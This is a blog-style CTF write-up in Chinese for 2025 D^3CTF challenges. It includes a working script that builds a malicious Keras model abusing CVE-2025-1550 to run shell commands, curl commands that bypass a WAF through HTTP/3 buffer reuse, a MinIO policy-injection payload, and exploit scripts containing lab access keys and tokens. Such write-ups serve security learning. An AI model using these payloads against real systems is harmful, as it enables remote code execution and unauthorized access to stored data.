Featured image of post 2025D^3CTF复现

2025D^3CTF复现

2025D^3CTF复现

d3model

app.py看到keras,然后搜索相关漏洞,找到Keras < 3.9 RCE漏洞: CVE-2025-1550

找到博客https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

看dockerfile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
FROM python:3.10-slim

COPY app.py /app/app.py
COPY requirements.txt /app/requirements.txt
COPY index.html /app/index.html
WORKDIR /app

RUN pip install --no-cache-dir -r requirements.txt

ENV FLAG=${FLAG:-flag{test}}

EXPOSE 5000

CMD ["python", "app.py"]

flag在环境变量,而且index.html可写

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import zipfile
import json
import os
from keras.models import Sequential
from keras.layers import Dense
import numpy as np

model_name="model.keras"

x_train = np.random.rand(100, 28*28)  
y_train = np.random.rand(100) 

model = Sequential([Dense(1, activation='linear', input_dim=28*28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name,"r") as f:
    config=json.loads(f.read("config.json").decode())
    
config["config"]["layers"][0]["module"]="keras.models"
config["config"]["layers"][0]["class_name"]="Model"
config["config"]["layers"][0]["config"]={
    "name":"mvlttt",
    "layers":[
        {
            "name":"mvlttt",
            "class_name":"function",
            "config":"Popen",
            "module": "subprocess",
            "inbound_nodes":[{"args":[["bash","-c","env > index.html"]],"kwargs":{"bufsize":-1}}]
        }],
            "input_layers":[["mvlttt", 0, 0]],
            "output_layers":[["mvlttt", 0, 0]]
        }

with zipfile.ZipFile(model_name, 'r') as zip_read:
    with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
        for item in zip_read.infolist():
            if item.filename != "config.json":
                zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}",model_name)


with zipfile.ZipFile(model_name,"a") as zf:
        zf.writestr("config.json",json.dumps(config))

print("[+] Malicious model ready")

生成keras文件上传,访问主页面就得到flag

image-20250602005353308

tidy quic

mian.go里面看到有waf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
func (w *wrap) Read(p []byte) (int, error) {
	n, err := w.ReadCloser.Read(p)
	if err != nil && !errors.Is(err, io.EOF) {
		return n, err
	}
	for i := 0; i < n; i++ {
		if p[i] == w.ban[w.idx] {
			w.idx++
			if w.idx == len(w.ban) {
				return n, ErrWAF
			}
		} else {
			w.idx = 0
		}
	}
	return n, err
}

不能传入连续的flag,但是要输入I want flag才能输出flag

注意到,当存在 ContentLength 的时候,就会从 BufferPool 里面拿一个对应长度的 buffer 出来用。并且读取 body 内容的时候,没有清空原有 buffer,也没有验证读取内容是否达到 ContentLength 个 bytes。这就导致如果 ContentLength 比 body 长,buffer 后面的 bytes 就会有之前 POST 的内容,拼接后的内容不会被 WAF 检测。

可以用curl来分批传,利用ContentLength这个缺陷,来拼接出I want flag

问ai一直连不上,然后用这条连上了

1
curl --http3-only https://35.241.98.126:30859/ -X POST -H "Content-Type: text/plain" --data-raw "I want   flag   " -k -v 

理论上来说

1
2
3
4
5
6
curl --http3 https://35.241.98.126:30859/ \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Content-Length: 11" \
  --data-binary "I want     " \
  -k -v

然后

1
2
3
4
5
6
curl --http3 https://35.241.98.126:30859/ \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Content-Length: 11" \
  --data-binary "       flag" \
  -k -v

是能拼接成功的

用S1uM4i✌的思路

先提交 I want __ag 再提交 I want fl(两者的 Content-Length 都设置成 11),后面那个 POST 就(大概率)会拼成 I want flag

他们的exp

1
2
3
4
5
6
7
8
# 改编自 https://github.com/aiortc/aioquic/blob/main/examples/http3_client.py
configuration = QuicConfiguration(is_client=True, alpn_protocols=H3_ALPN, verify_mode=ssl.CERT_NONE)
async with connect('127.0.0.1', '8080', configuration=configuration, create_protocol=HttpClient) as client:
    await client.post('https://127.0.0.1:8080/', data=b'I want __ag', headers={'content-length': '11'})
    events = await client.post('https://127.0.0.1:8080/', data=b'I want fl', headers={'content-length': '11'})
    for event in events:
        if isinstance(event, DataReceived):
            print(f"Data received: {event.data}")

最后我是这样成功的

1
2
3
4
curl --http3 -X POST \
  https://35.241.98.126:30859 \
  -H "content-length: 11" \
  -d "I want __ag" -k -v --output -

然后一直

1
2
3
4
curl --http3 -X POST \
  https://35.241.98.126:30859 \
  -H "content-length: 11" \
  -d "I want fl" -k -v --output -

image-20250602030603306

d3rpg-signin

正常玩思路是这样的

进房间问那个鸽鸽npc,说我是musc手,拿到flag1

image-20250602030938331

先从外面npc那里拿到地下室密码,选第二个进地下室

image-20250602031007301

在这里买第三个可以获取1RMB,然后得到flag2,买第一个可以去外面水井拿寄存器和内存值

image-20250602031202293

这里就有一个办法拿到全的flag,得用CE该金币值,买255的,下面再说这种办法

然后来到二层,村长提示

image-20250602031405355

image-20250602031425239

这里暗示摩斯密码

地板上的阴影补兑,没有那个三角形的视为.,然后三角形视为-,解密得到

1
fVzByMWQ=

最后一步就是外面的水井了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
寄存器
RAX=0000000000000000
RBX=000000329590FAB0
RCX=00007FFE9BEC2414
RDX=0000000000000000
RBP=0000000000000000
RSP=000000329590F590
RSI=0000003295B85000
RDI=0000000000000001
R8-R15=....
RIP=00007FFE9BE84DDA
内存值
[RBP-0x10]0x00007FF692AE9841
[RBP-0x18]0x000002025F0A2490
[RBP-0x20]0x0000007773506D49
[RBP-0x28]0x11100F0E0D0C0B0A

发现0x20这条的16进制解密有东西

image-20250602211910138

是“ImPsw”按小端序排列的值,所以水井密码是ImPsw,打开水井得到flag0

1
VzNsYz

接下来用CE改RMB值直接买flag,扫描增加的数值,然后扫描不变的数值,反复查找

就能找到我们RMB的地址,发现增加1RMB,值增加2

我们要买那个128的,直接增加数组到255

购买得到flag

还有一种办法,用Mtool扫描所有字符串

image-20250602152006582

导出待翻译的原文

image-20250602152351860

这里就有flag

d3invitation

跟着这篇学习https://forum.butian.net/share/4340

存储桶应用安全问题

这里用RAM策略注入

1
{"object_name": "*\"]},{\"Effect\":\"Allow\",\"Action\":[\"s3:*\"],\"Resource\":[\"arn:aws:s3:::*"}

这样可以读到所有桶

接下来就是连接minio服务器,访问会得到两个桶

访问flag桶就得到flag

S1uM4i✌的exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
import hmac
import hashlib
import datetime
import urllib.parse
import requests

#更改为自己通过/api/genSTSCreds获取的
ACCESS_KEY = "PTKZVLPN95ORZHJTBK0D"
SECRET_KEY = "d9QeMbVCgiMUE+EJ1eHfZIZlll+f6qmoL42HQTif"
SESSION_TOKEN = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJQVEtaVkxQTjk1T1JaSEpUQkswRCIsImV4cCI6MTc0ODYyODI3MSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2SWwxOUxIc2lSV1ptWldOMElqb2lRV3hzYjNjaUxDSkJZM1JwYjI0aU9sc2ljek02S2lKZExDSlNaWE52ZFhKalpTSTZXeUpoY200NllYZHpPbk16T2pvNktpSmRmVjE5In0.wgYw9JJXuiACRXaZmIh2i-GSVUSEUW1kNLkRenMPpntr4r9DasxvArw0llt1eROVuTiOFR9Z3SSI0xpDzDDlwQ"
MINIO_ENDPOINT = "http://34.150.83.54:30761"

def sign(key, msg):
    return hmac.new(key, msg.encode('utf-8'), hashlib.sha256).digest()

def get_signature_key(key, date_stamp, region_name, service_name):
    k_date = sign(('AWS4' + key).encode('utf-8'), date_stamp)
    k_region = sign(k_date, region_name)
    k_service = sign(k_region, service_name)
    return sign(k_service, 'aws4_request')

def generate_aws_headers(method, path):
    # 获取时间和主机信息
    now = datetime.datetime.utcnow()
    amz_date = now.strftime('%Y%m%dT%H%M%SZ')
    date_stamp = now.strftime('%Y%m%d')
    host = MINIO_ENDPOINT.split('//')[1].split('/')[0]  # 正确获取主机:端口
    
    # 规范URI编码 (关键修复)
    canonical_uri = '/' + '/'.join(
        urllib.parse.quote(segment, safe='') 
        for segment in path.split('/')
    )
    
    # 规范查询字符串 (本例中为空)
    canonical_querystring = ""
    
    # 规范头部 (按字母顺序排序)
    canonical_headers = f"host:{host}\n"
    canonical_headers += f"x-amz-date:{amz_date}\n"
    canonical_headers += f"x-amz-security-token:{SESSION_TOKEN}\n"  # 包含在签名中
    
    signed_headers = "host;x-amz-date;x-amz-security-token"  # 按字母顺序
    
    # 规范请求体哈希 (GET请求为空)
    payload_hash = hashlib.sha256(b'').hexdigest()
    
    # 构建规范请求
    canonical_request = (
        f"{method}\n"
        f"{canonical_uri}\n"
        f"{canonical_querystring}\n"
        f"{canonical_headers}\n"
        f"{signed_headers}\n"
        f"{payload_hash}"
    )
    
    # 创建待签名字符串
    algorithm = "AWS4-HMAC-SHA256"
    credential_scope = f"{date_stamp}/us-east-1/s3/aws4_request"
    string_to_sign = (
        f"{algorithm}\n"
        f"{amz_date}\n"
        f"{credential_scope}\n"
        f"{hashlib.sha256(canonical_request.encode('utf-8')).hexdigest()}"
    )
    
    # 计算签名
    signing_key = get_signature_key(SECRET_KEY, date_stamp, "us-east-1", "s3")
    signature = hmac.new(
        signing_key, 
        string_to_sign.encode('utf-8'), 
        hashlib.sha256
    ).hexdigest()
    
    # 构建授权头
    authorization_header = (
        f"{algorithm} Credential={ACCESS_KEY}/{credential_scope}, "
        f"SignedHeaders={signed_headers}, "
        f"Signature={signature}"
    )
    
    return {
        'Host': host,
        'x-amz-date': amz_date,
        'x-amz-security-token': SESSION_TOKEN,
        'Authorization': authorization_header
    }

def list_all_buckets():
    headers = generate_aws_headers("GET", f"/")
    url = f"{MINIO_ENDPOINT}/"
    response = requests.get(url, headers=headers)

    
    if response.status_code == 200:
        print("[+] 所有存储桶列表:")
        print(response.text)
        return response.text
    else:
        print("[ERROR]")
        print(response.text)

# 使用示例
if __name__ == "__main__":
    headers = generate_aws_headers("GET", "flag/flag")
    # 发送请求
    response = requests.get(
        f"{MINIO_ENDPOINT}/flag/flag",
        headers=headers
    )
    print(response.text)

N0wayBack✌的exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import boto3
from botocore.client import Config
from botocore.exceptions import ClientError


def list_objects_in_bucket(access_key, secret_key, session_token, endpoint, bucket):
    session = boto3.session.Session()
    s3 = session.client(
        service_name='s3',
        endpoint_url=endpoint,
        aws_access_key_id=access_key,
        aws_secret_access_key=secret_key,
        aws_session_token=session_token,
        config=Config(signature_version='s3v4'),
        region_name='us-east-1'
    )

    response = s3.list_objects_v2(Bucket=bucket)
    if'Contents'in response:
        print(f"桶 '{bucket}' 中的对象列表:")
        for obj in response['Contents']:
            print(f" - {obj['Key']} (大小: {obj['Size']} bytes)")
    else:
        print(f"桶 '{bucket}' 为空或无法获取对象列表。")


def download_flag_file(access_key, secret_key, session_token, endpoint, bucket, object_name, download_path):
    session = boto3.session.Session()
    s3 = session.client(
        service_name='s3',
        endpoint_url=endpoint,
        aws_access_key_id=access_key,
        aws_secret_access_key=secret_key,
        aws_session_token=session_token,
        config=Config(signature_version='s3v4'),
        region_name='us-east-1'
    )

    try:
        s3.download_file(bucket, object_name, download_path)
        print(f"成功下载 {object_name}{download_path}")
    except ClientError as e:
        print(f"下载失败: {e}")


if __name__ == "__main__":
    access_key = "7AE3269H28PPXTBYAE3G"
    secret_key = "BB++8Gr+tSFJCRh4GTa96hN3uu+hkVhyK+OzJCLN"
    session_token = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI3QUUzMjY5SDI4UFBYVEJZQUUzRyIsImV4cCI6MTc0ODg1NTU0NCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2lvaVhTd2lVbVZ6YjNWeVkyVWlPbHNpWVhKdU9tRjNjenB6TXpvNk9pb2lYWDFkZlE9PSJ9.3ki6R3-IaVCJ8vDg-lLSJrl8A5p-eSkdGH-l1jBsBNgxh2fUrKKk3SjSrcAU7Lw4ZU5uY0n7YtfSakh0sGQ45g"
    list_objects_in_bucket(access_key,secret_key,session_token,"http://35.241.98.126:32038","flag")

至于连接,用aws连接是这样的

1
2
3
4
5
vim ~/.aws/credentials
[minio]
aws_access_key_id = GRO1TWRV8FSZV5OCCVFE
aws_secret_access_key = ATk+SFgUfZUT6cUzYdAA4qciMSJK9neo0s0hA02Q
aws_session_token = eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJHUk8xVFdSVjhGU1pWNU9DQ1ZGRSIsImV4cCI6MTc0ODY4NTk2NSwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZWMTkifQ.TlzvIuG_zgOGWUgZdhRS92Gloisjt_hezNMd6vz8IJz-4NwcxkwdkrtA6CsX2wNVwVllVr_8oHr8j83COk5Nmg

然后写到自己机器上

1
aws --profile minio --endpoint-url http://35.241.98.126:30744 s3 cp "s3://flag/flag" /tmp

image-20250602162114205

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计